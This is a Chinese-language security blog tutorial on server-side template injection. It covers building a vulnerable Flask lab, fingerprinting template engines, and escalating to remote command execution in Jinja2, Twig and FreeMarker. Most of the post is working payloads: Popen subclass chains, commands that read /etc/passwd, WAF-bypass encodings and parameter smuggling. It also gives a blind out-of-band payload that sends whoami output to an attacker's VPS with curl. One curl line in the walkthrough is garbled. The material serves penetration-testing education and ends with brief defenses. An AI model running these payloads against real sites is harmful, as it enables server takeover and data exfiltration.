PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】服务端模板注入SSTI攻防实战:从{{7*7}}到远程命令执行

📅 2026年5月21日 📁 Hermes Agent ⏱ 2 分钟

📌 适合谁看

  • 看到 Hello, {{name}} 时知道可能有洞但不知道怎么测的
  • 挖 SRC 遇到 Flask/Jinja2 站点想深入搞的
  • 面试总被问 SSTI 但只会背 payload 的

一、前置准备

本地靶场:


# 1. Flask SSTI 靶场(推荐)
docker run -d -p 5000:5000 vulhub/flask-ssti

# 2. 或自己搭一个
cat << 'EOF' > /tmp/ssti_app.py
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'world')
    template = f"<h1>Hello, {name}!</h1>"
    return render_template_string(template)

app.run(host='0.0.0.0', port=5001)
EOF
python3 /tmp/ssti_app.py

测试工具: 浏览器 + Burp Suite 或 curl


curl -s 'http://localhost:5001/?name={{7*7}}'

二、核心原理

SSTI(Server-Side Template Injection)发生在 用户输入被直接拼入模板并由服务端渲染 时。


用户输入 → 拼接进模板字符串 → render() 执行 → 输出

关键区别:

  • XSS:输出在浏览器端被解释 → 影响用户
  • SSTI:输入在服务端被模板引擎解析 → 影响服务器

模板引擎在渲染 {{77}} 时会当做表达式计算,返回 49。如果返回了 {{77}} 原样,说明不存在 SSTI。返回 49 → 恭喜,你有洞了。


三、第一步:识别模板引擎

不同模板引擎的 payload 不同,先把引擎认出来:

测试 payloadJinja2 (Flask)Twig (PHP)FreeMarker (Java)Velocity (Java)
{{7*7}}4949
{{7*'7'}}77777777777777
`{{7*'7'upper}}`7777777
#{7*7}49
$!{7*7}49

快速识别命令:


# 测试不同语法
curl 'http://target/?name={{7*7}}'        # 返回49 → Jinja2/Twig
curl 'http://target/?name=$!{7*7}'        # 返回49 → Velocity
curl 'http://target/?name=#{7*7}'         # 返回49 → FreeMarker
curl 'http://target/?name={{7*"7"}}'      # 返回7777777 → Jinja2

四、Jinja2(Python)— 最常遇到

4.1 基础探测


http://target/?name={{7*7}}

页面显示 49 → SSTI 确认。

4.2 探索可用对象


# 查看所有全局对象
{{ config }}
{{ request }}
{{ self }}
{{ __class__ }}
{{ __mro__ }}
{{ __subclasses__() }}

4.3 从基本类型到 RCE — 经典链


# Step 1: 找到 object 基类
{{ ''.__class__.__mro__[2] }}
# 返回 <class 'object'>

# Step 2: 列出所有子类
{{ ''.__class__.__mro__[2].__subclasses__() }}
# 返回几百个类的列表,数一下 subprocess.Popen 在第几个

# Step 3: 找 subprocess.Popen
{{ ''.__class__.__mro__[2].__subclasses__()[X] }}
# 把 X 换成 subprocess.Popen 的位置

# Step 4: 执行命令
{{ ''.__class__.__mro__[2].__subclasses__()[X]('whoami', shell=True, stdout=-1).communicate()[0] }}

4.4 一键 RCE payload


# 找 Popen 位置的脚本
curl -s 'http://target/?name={{''.__class__.__mro__[2].__subclasses__()}}' | \
  python3 -c "import sys; data=sys.stdin.read(); \
  classes=data.split('<class '); \
  for i,c in enumerate(classes): \
    if 'Popen' in c: print(f'Popen at index {i-1}')"

拿到索引后直接打:


{{''.__class__.__mro__[2].__subclasses__()[索引]('id', shell=True, stdout=-1).communicate()[0]}}

4.5 盲测(无回显)

没有页面回显时,用外带:


{{''.__class__.__mro__[2].__subclasses__()[索引]( \
  'curl http://你的VPS:8888/$(whoami)', shell=True, stdout=-1).communicate()[0]}}

五、Twig(PHP)— CTF 常客


# 基础探测
{{7*7}} → 49

# 查看版本
{{ constant('TWIG_VERSION') }}

# RCE — 利用 _self.env
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}

# 或者直接
{{ system('id') }}
{{ passthru('cat /etc/passwd') }}

六、FreeMarker(Java)— 大厂 Java 站常见


# 基础探测
#{7*7} → 49

# 获取变量
${.data_model}

# RCE — 通过 Runtime.exec
${"freemarker.template.utility.Execute"?new()("id")}

# 或者
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /etc/passwd")}

七、SSTI WAF 绕过

7.1 字符串拼接绕过关键字过滤


# 过滤了 "class"
{{ ''['__cla'+'ss__'] }}

# 过滤了 "subprocess"
{% set a = 'sub' %}
{% set b = 'process' %}
{{ ''.__class__.__mro__[2].__subclasses__()[X](a~b, ...) }}

# 使用 request.args 传参
{{ ''.__class__.__mro__[2].__subclasses__()[request.args.i]('id', ...) }}
# URL: ?name={{...}}&i=索引

7.2 Hex / base64 编码


# 十六进制绕过
{{ ''|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f') }}  # __class__

# 使用 lipsum 过滤器
{{ lipsum.__globals__["os"].popen("id").read() }}

7.3 过滤了单引号和双引号


# 用 request.args 传字符串
{{ ''.__class__.__mro__[2].__subclasses__()[request.args.i](
    request.args.cmd, shell=True, stdout=-1).communicate()[0] }}
# 访问: ?name=...&i=索引&cmd=whoami

八、实战场景完整演示

场景: 某 Flask 博客,搜索功能返回 Welcome, 用户名


# Step 1 — 探测
curl 'http://blog.example.com/welcome?name={{7*7}}'
# 返回: Welcome, 49!
# ✅ SSTI 确认

# Step 2 — 识别模板引擎
curl 'http://blog.example.com/welcome?name={{7*"7"}}'
# 返回: Welcome, 7777777!
# ✅ Jinja2

# Step 3 — 探索
curl 'http://blog.example.com/welcome?name={{config}}'
# 返回了 Flask 配置 — 可能包含 SECRET_KEY

# Step 4 — 找 RCE 函数索引
# 先看子类数量
curl 'http://blog.example.com/welcome?name=其中一项'_''
# 找 Popen 索引

# Step 5 — RCE
curl 'http://blog.example.com/welcome?name={{''.__class__.__mro__[2].__subclasses__()[233]("cat /etc/flag.txt", shell=True, stdout=-1).communicate()[0]}}'
# 返回: flag{...}

九、防御视角


❌ 永远不要:render_template_string(用户输入)
✅ 应该用:render_template("模板文件", 变量=用户输入)
✅ 上下文净化:jinja2.Environment(autoescape=True)
✅ 禁用危险函数:配置沙箱 SandboxedEnvironment
✅ 输入白名单:仅允许字母/数字字符

参考资源

类型链接
PayloadsAllTheThings SSTIhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
PortSwigger SSTI 实验室https://portswigger.net/web-security/server-side-template-injection
Jinja2 模板文档https://jinja.palletsprojects.com/en/latest/
Tplmap (SSTi 自动利用)https://github.com/epinna/tplmap
← 返回首页